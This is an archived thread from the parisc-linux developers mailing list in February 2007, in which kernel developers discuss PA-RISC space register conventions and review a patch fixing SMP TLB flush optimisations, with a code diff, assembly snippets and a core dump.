	Sun, 25 Feb 2007 10:41:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14876-08; Sun, 25 Feb 2007 10:41:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60C547DA8B;
	Sun, 25 Feb 2007 10:41:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 48F6D7DA82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 10:41:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14876-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 10:41:17 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 4F8787DA7D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 10:41:17 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1PHf9x05279; 
	Sun, 25 Feb 2007 12:41:09 -0500
In-Reply-To: <200702251704.l1PH4pUf023982@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: c/jYfdJbYW0+6buGbmZpIM90amthc1v8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24407

On Sun, 2007-02-25 at 12:04 -0500, John David Anglin wrote:
> > On Sat, 2007-02-24 at 23:27 -0500, John David Anglin wrote:
> > > You have to watch out for "be,l" which mucks with sr0.
> > 
> > But practically, the kernel's not going to link to a new space, and the
> > user can't.
> 
> >From a hardware standpoint, the user can change sr0 through sr4.
> Changing sr4 in user space isn't going to work.  However,
> in the 32-bit hpux runtime, the user is free to change sr0 through
> sr3 in whatever way they want.  At least at one time, there
> was a desire to provide hpux runtime compatibility.  So, a branch
> sequence like the following
> 
> 	ldsid (%r1),%r31
> 	mtps %r31,%sr3
> 	be 0(%sr3,%r1)
> 
> should work in linux even if it's not efficient.

I think you'll find that unless %sr3 is zero or your current space,
you'll get a protection trap (and if it's zero, you'll likely get a
privilege trap).

Linux doesn't use spaces like HPUX, which is why hpux compatibility at
this level just won't work.  In Linux, every user process runs in a
different, isolated space.

>   I picked sr3
> in the example since it's no longer saved on interrupts with your
> patch.  The branch will work if the kernel restores on interrupt
> return the value used in sr4 through sr7.  However, then the user
> can't use sr3 for any other purpose.
> 
> > But the point isn't that we might change them ... it's that by
> > convention we always know what their values should be, so we didn't
> > really need to save them (except sr1 and sr2 from the kernel).  And
> > actually, that's a potential (but I suspect never seen) bug in that this
> > code doesn't set the space registers aggressively enough for a trap from
> > user context.
> 
> I don't see how the kernel can know what should be in sr0 through sr3,
> and I think the user can use these registers for any purpose in the
> 32-bit runtime.  In wide mode, things are different as the OS is allowed
> to change the space registers at any time (see note for ldsid insn).

The user space convention on linux says that sr0,1,3-7 should contain
the current space and sr2 contains zero for gateway operations.
Theoretically, the user can stash values in sr0-3 as long as they're
never used; practically, nothing does this.

However, this is pretty much moot ... the more agressive space shifting
code will have to loop over all of the space registers in the context,
so it will be saving and restoring them all.

James

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sun, 25 Feb 2007 12:30:58 -0600
Lines: 129
Approved: news@gmane.org
Message-ID: <1172428258.3423.22.camel__3865.92838117412$1416624315$gmane$org@mulgrave.il.steeleye.com>
References: <1172328689.3401.3.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624315 23356 80.91.229.3 (22 Nov 2014 02:45:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:15 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2007 18:31:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 25 Feb 2007 19:31:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A12227DA8B;
	Sun, 25 Feb 2007 11:31:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15542-03; Sun, 25 Feb 2007 11:31:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46F877DA8D;
	Sun, 25 Feb 2007 11:31:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 982D87DA87
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 11:31:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15278-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 11:30:59 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 956C47DA82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 11:30:59 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1PIUwx07810
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 13:30:58 -0500
In-Reply-To: <1172328689.3401.3.camel@mulgrave.il.steeleye.com>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2ufWco0XbGI0/6aDYmRnqrlncmZ1Zpy5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24408

Make sure we alter the context on the local CPU, but all possible uses
of the deprecated space on the other cpus.

The sharp eyed will also notice I've corrected a Protection ID bug with
the non current flushes.


Signed-off-by: James Bottomley <James.Bottomley@SteelEye.com>

---

Here's take II.  It corrects the problem with the prior one not being
agressive enough .. plus sr3 is the wrong register to alter from
userspace ... we really need to do sr4-7.

James

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 00b1641..f8d4d92 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -18,6 +18,8 @@
 #include <linux/module.h>
 #include <linux/seq_file.h>
 #include <linux/pagemap.h>
+#include <linux/interrupt.h>
+#include <linux/irq.h>
 
 #include <asm/pdc.h>
 #include <asm/cache.h>
@@ -303,25 +305,28 @@ flush_user_cache_page_non_current(struct vm_area_struct *vma,
 				  unsigned long vmaddr)
 {
 	/* save the current process space and pgd */
-	unsigned long space = mfsp(3), pgd = mfctl(25);
+	unsigned long space, pgd;
 
-	/* we don't mind taking interrups since they may not
-	 * do anything with user space, but we can't
-	 * be preempted here */
-	preempt_disable();
+	/* Have to disable interrupts here, since now %sr3 changes
+	 * are carried by IPI and we can't have that happen while
+	 * we're using a temporary %sr3 */
+	local_irq_disable();
+
+	space = mfsp(3);
+	pgd = mfctl(25);
 
 	/* make us current */
 	mtctl(__pa(vma->vm_mm->pgd), 25);
-	mtsp(vma->vm_mm->context, 3);
+	load_context(vma->vm_mm->context);
 
 	flush_user_dcache_page(vmaddr);
 	if(vma->vm_flags & VM_EXEC)
 		flush_user_icache_page(vmaddr);
 
 	/* put the old current process back */
-	mtsp(space, 3);
+	load_context(space);
 	mtctl(pgd, 25);
-	preempt_enable();
+	local_irq_enable();
 }
 
 
@@ -574,3 +579,34 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr);
 
 }
+
+void __flush_tlb_mm(void *mmv)
+{
+	struct mm_struct *mm = (struct mm_struct *)mmv;
+	struct pt_regs *regs = get_irq_regs();
+	unsigned long sr3;
+	int i;
+
+	if (mm != current->active_mm)
+		return;
+
+	/* sr3 is alterable by the user, so if we trapped from
+	 * user space, check sr7 instead */
+	if (in_interrupt()) {
+		if (regs->sr[7] != 0)
+			sr3 = regs->sr[7];
+		else
+			sr3 = mfsp(3);
+		/* needed to set up protection ID */
+		load_context(mm->context);
+	} else {
+		/* on_each_cpu makes one non interrupt call,
+		 * this is it */
+		load_context(mm->context);
+		return;
+	}
+
+	for (i = 0; i < 8; i++)
+		if (regs->sr[i] == sr3)
+			regs->sr[i] = mm->context;
+}
diff --git a/include/asm-parisc/assembly.h b/include/asm-parisc/assembly.h
diff --git a/include/asm-parisc/tlbflush.h b/include/asm-parisc/tlbflush.h
index 2e8c2bd..45d04ce 100644
--- a/include/asm-parisc/tlbflush.h
+++ b/include/asm-parisc/tlbflush.h
@@ -39,12 +39,7 @@ extern void flush_tlb_all_local(void *);
  * etc. do not do that).
  */
 
-static inline void __flush_tlb_mm(void *mmv)
-{
-	struct mm_struct *mm = (struct mm_struct *)mmv;
-	if (mm == current->active_mm)
-		load_context(mm->context);
-}
+void __flush_tlb_mm(void *mmv);
 
 static inline void flush_tlb_mm(struct mm_struct *mm)
 {


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sun, 25 Feb 2007 14:14:13 -0500 (EST)
Lines: 101
Approved: news@gmane.org
Message-ID: <200702251914.l1PJEFGm008201__7876.73364761776$1416624316$gmane$org@hiauly1.hia.nrc.ca>
References: <1172425268.3423.18.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624316 23363 80.91.229.3 (22 Nov 2014 02:45:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2007 19:32:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 25 Feb 2007 20:32:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A09FF7DA95;
	Sun, 25 Feb 2007 12:32:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15863-09; Sun, 25 Feb 2007 12:32:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4ECAF7DA75;
	Sun, 25 Feb 2007 12:32:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4ED5C7DA6A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 12:32:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15923-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 12:32:38 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7F6FB7DA65
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 12:32:38 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1PJWaOW009100;
	Sun, 25 Feb 2007 14:32:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1PJEFGm008201;
	Sun, 25 Feb 2007 14:14:15 -0500 (EST)
In-Reply-To: <1172425268.3423.18.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Feb 25, 2007 11:41:08 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UNLUdJEGbUkosOnGPWgnQXtkZ2hlN8og
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24409

> > 	ldsid (%r1),%r31
> > 	mtps %r31,%sr3
> > 	be 0(%sr3,%r1)
> > 
> > should work in linux even if it's not efficient.
> 
> I think you'll find that unless %sr3 is zero or your current space,
> you'll get a protection trap (and if it's zero, you'll likely get a
> privilege trap).

At the moment, the following little bit code seems to work
on a UP system:

0x00010444 <main+0>:    ldil L%10000,r1
0x00010448 <main+4>:    ldo 444(r1),r1
0x0001044c <main+8>:    ldsid (r1),r31
0x00010450 <main+12>:   mtsp r31,sr3
0x00010454 <main+16>:   be 0(sr3,r1)
0x00010458 <main+20>:   nop
0x0001045c <main+24>:   bv r0(rp)
0x00010460 <main+28>:   ldi 0,ret0

Of course, sr3 should be the current space.  Whether it is or not is
an interesting question as gdb doesn't seem to be able to figure out
what the space registers contain.  When I run the above under gdb,
it reports that all the space registers are 0.  If I run the program
and signal an abort, I see the following in the core dump:

sr4            0xb3     179
sr0            0x0      0
sr1            0xb3     179
sr2            0x0      0
sr3            0xffff   65535
sr5            0xb3     179
sr6            0xb3     179
sr7            0xb3     179

This is with your patch installed.

> The user space convention on linux says that sr0,1,3-7 should contain
> the current space and sr2 contains zero for gateway operations.
> Theoretically, the user can stash values in sr0-3 as long as they're
> never used; practically, nothing does this.

I can think of a use.  There are certain situation in gcc where
we need to generate a long branch.  We need r1 for this but it
may be live.  So, we stash it in the frame marker and restore
it in the delay slot of the branch.  It might be better to use
a space register to save r1.

I don't think the linux user space convention regarding space
registers and calling conventions is documented.

Regarding the requirement that sr2 always contain zero for
gateway operations, I think this is unnecessary.  For example,
I see the following in libc.a:

00000000 <syscall>:
   0:   0f d9 12 81     stw r25,-10(sp)
   4:   27 c1 10 16     fldw -10(sp),fr22
   8:   6b c2 3f d9     stw rp,-14(sp)
   c:   08 18 02 59     copy r24,r25
  10:   6f c3 00 80     stw,ma r3,40(sp)
  14:   08 17 02 58     copy r23,r24
  18:   08 1a 02 5c     copy r26,ret0
  1c:   4b d5 3f 09     ldw -7c(sp),r21
  20:   4b d6 3f 11     ldw -78(sp),r22
  24:   4b d7 3f 19     ldw -74(sp),r23
  28:   27 c1 12 16     fstw fr22,-10(sp)
  2c:   0f c1 10 9a     ldw -10(sp),r26
  30:   08 00 02 40     nop
  34:   e4 00 82 00     be,l 100(sr2,r0),sr0,r31
  38:   08 1c 02 54     copy ret0,r20

The branch to the gateway page always seems to be preceded by a nop.
It could be replaced by a mtsp instruction:

	mtsp %r0,%sr2

This would ensure that sr2 is always set correctly for the branch to
the gateway page.

Personally, I would like to see sr0 through sr3 available for general
use.  I would also sr4 through sr7 to be stable (i.e., not change during
the lifetime of an application).  Obviously, sr0 through sr3 would
be call clobbered.

Don't like what's going on with fr22 in the above code.  Seems like a
GCC optimization bug since it looks like there are a few general registers
that could be used.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sun, 25 Feb 2007 16:19:29 -0500 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <200702252119.l1PLJTk7014385__6611.7953313098$1416624316$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702251242m6d064ae3ld37ec940b363960e@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624316 23364 80.91.229.3 (22 Nov 2014 02:45:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:16 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2007 21:19:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 25 Feb 2007 22:19:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 666E57DA84;
	Sun, 25 Feb 2007 14:19:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20881-05; Sun, 25 Feb 2007 14:19:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0BDC17DAA4;
	Sun, 25 Feb 2007 14:19:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8094A7DA82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 14:19:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20750-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 14:19:37 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8D42A7DAA5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 14:19:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1PLJUas014387;
	Sun, 25 Feb 2007 16:19:32 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1PLJTk7014385;
	Sun, 25 Feb 2007 16:19:29 -0500 (EST)
In-Reply-To: <119aab440702251242m6d064ae3ld37ec940b363960e@mail.gmail.com>
	from "Carlos O'Donell" at Feb 25, 2007 03:42:03 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HpmJCNkPbHIy4q3NNjQ0n3YqJihyahBX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24410

> Because this is non-PIC code the save/restore of r19 has been turned
> into a NOP.

Why a NOP?  Wouldn't a newline be ok?

> > It could be replaced by a mtsp instruction:
> >
> >         mtsp %r0,%sr2
> >
> > This would ensure that sr2 is always set correctly for the branch to
> > the gateway page.
> 
> ... only for people with a recent enough glibc.

Sure!  However, I thought I saw people requesting new syscalls, etc ;)

> > Don't like what's going on with fr22 in the above code.  Seems like a
> > GCC optimization bug since it looks like there are a few general registers
> > that could be used.
> 
> Why a bug? It's a register just like any other.

It's an optimization bug because copying from a general to a floating
register has to be done through memory.  A stack local would save
a read and write.  In this case, all the manipulation is done before
the syscall and there would appear to be sufficient general registers
available to do the job.  GCC's register allocator should be smart
enough to figure this out...

I haven't studied this in detail but GCC on the PA allocates floating
registers first.  It's claimed in the code that this results in better
code.  This allocation scheme was probably based on work done at Utah
in the early 90's.  So, things may have changed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sun, 25 Feb 2007 19:33:49 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200702260033.l1Q0Xn44025896__44467.4892969944$1416624316$gmane$org@hiauly1.hia.nrc.ca>
References: <1172428258.3423.22.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624316 23366 80.91.229.3 (22 Nov 2014 02:45:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2007 00:34:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 26 Feb 2007 01:34:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF2677DAAF;
	Sun, 25 Feb 2007 17:33:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22125-10; Sun, 25 Feb 2007 17:33:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FB267DAB7;
	Sun, 25 Feb 2007 17:33:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
